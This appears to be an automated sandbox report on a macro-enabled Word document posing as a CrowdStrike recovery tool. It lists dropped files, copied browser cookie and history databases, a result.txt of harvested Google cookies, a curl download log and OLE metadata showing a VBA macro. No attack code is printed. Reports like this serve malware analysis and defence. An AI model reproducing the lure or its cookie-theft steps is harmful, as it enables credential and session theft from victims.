Preview:	SFPUSAFIOLDMTRNUTGNTJUWFCWSZSHWEDVXRKVRQQJURAYWLWUUBTIKENFOXKWAEIMQEIZNZNRADQPATZGCMDPRDXLQGZUFJZGZDRTSVNCHAUPMRLPRPZKGVAVXYEVCKEHKMMJGKSJOOUYGYLDDIEYHRSUUPROPBGJMTERPOAVKYFPSCESRJNQZFKBQPUDQDDUMCFWKLZTOAKIRCBYNHNUNDHQGUCZFGLFAWYRAYVDHRMGQXAXAOYSCNPGEKEPCMQBIHRFANOHHAWKRVIORZYSDKULQZFRPSGFVYRDRVLMMPKWJDXUOEBNLILNONKXLMXLVIUCYNNQGCPDXMGSCUEKRTGZJHMNRUEKEIJFJIAHVLHOVPEFBBLWOKZSZSYSSOQIMAXYTLNUMGPOHCVAJUEBTRJRPRJCOTKTDCOEZCJXDLESVDTKVOFQWENRQDQXACWTCILXCPGHHUNHJNQLPPCERJAOCZFIXIHZKTCKZMXYDXVVFZUURETLUVBDNYJHWBIGQTEBATUDWNJLGPYCGIXUBQTVJPDRWVOFIQDYMJOMWUQUNCHQWGETEEEIJZNHHUYACVFRBGSWATTYVHFTURPBDTDDQTWASRBMLCMLRKIGMHWRHHHUVZTGIFNIDBHRKNFOYFIOYERMIXFEIANSZHVUVBFJOQNNJGQUNDLTPKRMYXNUHBOFQLLIDRDFMIAAVQNNXFNDRFBIGEVUSBEJUVVSTEJYKSAUCFDNNJQTSVXAUBHAPFHJIYCNFJQPWEXKMUQRCKERPSFCQKHEDKHHRNWTLAMXHJLOSIZOKYIMDHNEIBAUBKXVXZVXMAZNFTTYQGDGZHKLIHZJNIVHVZHYMNESIMFITKHGIPXKXZDBLBTKTNZDKZTKDHQQJCJDTRVKOCTCXPMDLKSOBGZSQQUTNFYYEOCJVZSZUSESOBKMIJSKKSXTXITISLBTMALAVZEMHXQXVRBZCDKLOKWDYQIEQCKFLKBMPLIQMKDTJPRHOW

C:\Windows\Temp\U0ZQVVNBRklPTC5kb2N4

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696913287597031
Encrypted:	false
SSDEEP:	24:TEp0dGAR5tKV4V1dnQcncjGi20QoVwGQqh3:20Iw5tKOncjGUwra
MD5:	44ECF9E98785299129B35CBDBCAB909B
SHA1:	4D92AFB00FE614CC8B795F1AF28173DBE76FE7F5
SHA-256:	06E706536CB7D543E6068C98C90721CAD89C23D16D37444F46F9B01C4380DF9E
SHA-512:	1FA347223014BB3AC0106948B07E337B1A98C0BA2D98AC0ADD821D1B3CE9F75681F6383925F5E614F36750C5B9FB92D1C8EEEDC05469FBC6EA3F281D8B52B556
Malicious:	false
Preview:	SFPUSAFIOLDMTRNUTGNTJUWFCWSZSHWEDVXRKVRQQJURAYWLWUUBTIKENFOXKWAEIMQEIZNZNRADQPATZGCMDPRDXLQGZUFJZGZDRTSVNCHAUPMRLPRPZKGVAVXYEVCKEHKMMJGKSJOOUYGYLDDIEYHRSUUPROPBGJMTERPOAVKYFPSCESRJNQZFKBQPUDQDDUMCFWKLZTOAKIRCBYNHNUNDHQGUCZFGLFAWYRAYVDHRMGQXAXAOYSCNPGEKEPCMQBIHRFANOHHAWKRVIORZYSDKULQZFRPSGFVYRDRVLMMPKWJDXUOEBNLILNONKXLMXLVIUCYNNQGCPDXMGSCUEKRTGZJHMNRUEKEIJFJIAHVLHOVPEFBBLWOKZSZSYSSOQIMAXYTLNUMGPOHCVAJUEBTRJRPRJCOTKTDCOEZCJXDLESVDTKVOFQWENRQDQXACWTCILXCPGHHUNHJNQLPPCERJAOCZFIXIHZKTCKZMXYDXVVFZUURETLUVBDNYJHWBIGQTEBATUDWNJLGPYCGIXUBQTVJPDRWVOFIQDYMJOMWUQUNCHQWGETEEEIJZNHHUYACVFRBGSWATTYVHFTURPBDTDDQTWASRBMLCMLRKIGMHWRHHHUVZTGIFNIDBHRKNFOYFIOYERMIXFEIANSZHVUVBFJOQNNJGQUNDLTPKRMYXNUHBOFQLLIDRDFMIAAVQNNXFNDRFBIGEVUSBEJUVVSTEJYKSAUCFDNNJQTSVXAUBHAPFHJIYCNFJQPWEXKMUQRCKERPSFCQKHEDKHHRNWTLAMXHJLOSIZOKYIMDHNEIBAUBKXVXZVXMAZNFTTYQGDGZHKLIHZJNIVHVZHYMNESIMFITKHGIPXKXZDBLBTKTNZDKZTKDHQQJCJDTRVKOCTCXPMDLKSOBGZSQQUTNFYYEOCJVZSZUSESOBKMIJSKKSXTXITISLBTMALAVZEMHXQXVRBZCDKLOKWDYQIEQCKFLKBMPLIQMKDTJPRHOW

C:\Windows\Temp\UElWRkFHRUFBVi5wZGY=

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Windows\Temp\UU5DWUNERklKSi54bHN4

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Windows\Temp\UUNGV1lTS01IQS5wZGY=

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Windows\Temp\V2ViIERhdGE=

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Windows\Temp\WlFJWE1WUUdBSC5wZGY=

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Windows\Temp\cGxhY2VzLnNxbGl0ZQ==

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\cookies.sqlite

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\cookies.sqlite-shm

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\result.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	357
Entropy (8bit):	5.908439824664254
Encrypted:	false
SSDEEP:	6:sj+GbcVfMYSaSMDuyXdt3RdVAkEhW/UPmTU4OvOrGISa37rTVLP7kj+Gi3/VfXWT:DpaYSalDuyXv3RdJqmOvO6C3rVLP7bBg
MD5:	98AC3911295CC589DDF1981CCA1EE90B
SHA1:	3F987C9A967290457877236216ECD8A0A69618C9
SHA-256:	FFB93F6612A7B2E31A5BD59D5B54CB41181C01D72823B3916BEEAE8B8F642714
SHA-512:	D682AA4855CA4AD470B48D520FA43D6DD5F946DEBB6616A03CFA5670EB2ED8A5892E54A88D168E7AD15373F03B5AD086C9160FBA37544FF1D4F88127BBD700DF
Malicious:	false
Preview:	HostKey: .google.com..Name: NID..Value: 511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg..Path: /..ExpireUTC: 13356771602392648....HostKey: .google.com..Name: 1P_JAR..Value: 2023-10-05-06..Path: /..ExpireUTC: 13343552440345167....

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	downloaded
Size (bytes):	25518
Entropy (8bit):	7.981260120775725
Encrypted:	false
SSDEEP:	768:OxBz7hEdHHosjJeGrv2gsHrSe1fLKnHfzz:OxBz7YosjMGOgsJ1jyn
MD5:	9C4B364491E6AF11CC33DF28C33C4216
SHA1:	4A0F078995949E9FC29BCE9437EB902BB32D462B
SHA-256:	30C65E1E9879FE37A4A18DC8B4887C4DFE3BA29E89885D9FE61365869E93CFFD
SHA-512:	AD395F489DF5C4388221734755AB7D7FDA6DB902F3E56A35B29FFC15D3D778298BD6CD24FAF3AB9CC53BDB1099617A72C95F3759DB4393875E14E3EC9A324279
Malicious:	false
URL:	https://download.microsoft.com/download/8/e/1/8e189885-12fe-4ebe-895d-b2d5a08aae65/MsftRecoveryToolForCSv2.zip
Preview:	PK........4P.X....(..Xi......ADKLicenseAgreement.rtf.}ko.H..~6.....@W.Tj.l.].X.mU..].G....}.......a........\|.R.=.;..........q".t.X..2.....~....V..lz+.l.....p.w....?V.......V..vV.........x.v..W../^.2.{..tqPz.....g6....4..4`....s.....X....`.{...[m}...j.D.W.jpv.......04..g..?...0..r..wV...=.../Ah.......!...~..........vk...e....OS......{..............T..Vl..^..pU.._.U.G..UO..6$.p..8......8Tn..v..._..z...P.:.w.Ug6.......L..=q..S-.#.ULe./M/rC.).V.=..{P}....a...G.w.U.}..~.]....m>rk.c.^.............4..}(.V{.@% ......4.5...A..}.]...w....\|...fv5.]L.r:..@..'_f..w_.l.XL..O..%..^......W...l..L.......H.j.`..B.z.c........}o.c...]...k.....m..d.'6..[......'q..`....v..{..\|q..<..........._..F\|t.zF...=!..r4......O../..q.\.c.....R~._....'...<cp..M._.._..#kDZ........~y...../..a0.....^.<8....&.pv...F....b\|.i....\.GM...]..........b.0G....f.&...E.V.a.0...h.........W...2JPI.w~.7...I}.....W.A.G..f.E.s02E.U......:..{.a.\......).eQ..^K...R..E....... ..C.@r....UO

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	557
Entropy (8bit):	3.4772964179639105
Encrypted:	false
SSDEEP:	12:Vz6ykymUexb1U9cRlMHYy+rMvcRYcVYgkA/n:HkyH+bJR2aRYkYpA/n
MD5:	F7506CC442B5F04348E69DD54081AB6E
SHA1:	7FAF8D6C090580FA7C94761A1F28E08FDEB51C8F
SHA-256:	95235D4766480A2F0970E7895E2F0B952C46AEFDF41B56CC3856FB90B530355F
SHA-512:	A5F835BC62DEDC379DB33B3BF6501A9BAA4322DD16FFA4CF3B0B914376FB60513493885D6636DF6F9F1F5E6435D2ACCB76C2C83631B49AC614A2DB814C64567F
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 1896k 0 1236 0 0 1323 0 0:24:27 --:--:-- 0:24:27 1323. 5 1896k 5 99948 0 0 66601 0 0:00:29 0:00:01 0:00:28 66587. 48 1896k 48 928k 0 0 370k 0 0:00:05 0:00:02 0:00:03 370k.100 1896k 100 1896k 0 0 587k 0 0:00:03 0:00:03 --:--:-- 587k..

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.938940748289286
TrID:	Word Microsoft Office Open XML Format document with Macro (52004/1) 37.96% Word Microsoft Office Open XML Format document (49504/1) 36.13% Word Microsoft Office Open XML Format document (27504/1) 20.07% ZIP compressed archive (8000/1) 5.84%
File name:	New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm
File size:	310'160 bytes
MD5:	dd2100dfa067caae416b885637adc4ef
SHA1:	499f8881f4927e7b4a1a0448f62c60741ea6d44b
SHA256:	803727ccdf441e49096f3fd48107a5fe55c56c080f46773cd649c9e55ec1be61
SHA512:	809a6c7a3d83cc9b025a3109778be1d92db509d12202a30ecb31b8c8fbaeae2a50732e36d41b065b10ab64d04990e46173e09e01799bb54f8a93e725e111deda
SSDEEP:	6144:LkNC0FaiQjxrRbX1o/EUk1DPFVpigBHbP4Z4IU1vmR8:LkNCcC6cf1xVpJNP0QNs8
TLSH:	1664E12B7D13A023F52BD6349E903E6C72026111A3935374B9286B7FF26D14F9D8E54B
File Content Preview:	PK..........!..am.............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	1d35646ca6a49919

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Author:	Le Nho Thanh
Template:	Normal.dotm
Last Saved By:	David
Revion Number:	3
Total Edit Time:	4
Create Time:	2024-07-19T10:29:00Z
Last Saved Time:	2024-07-22T09:13:00Z
Number of Pages:	9
Number of Words:	2526
Number of Characters:	14404
Creating Application:	Microsoft Office Word
Security:	0

Document Summary

Number of Lines:	120
Number of Paragraphs:	33
Thumbnail Scaling Desired:	false
Company:	Microsoft
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0000

Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 27601

General
Stream Path:	VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	27601
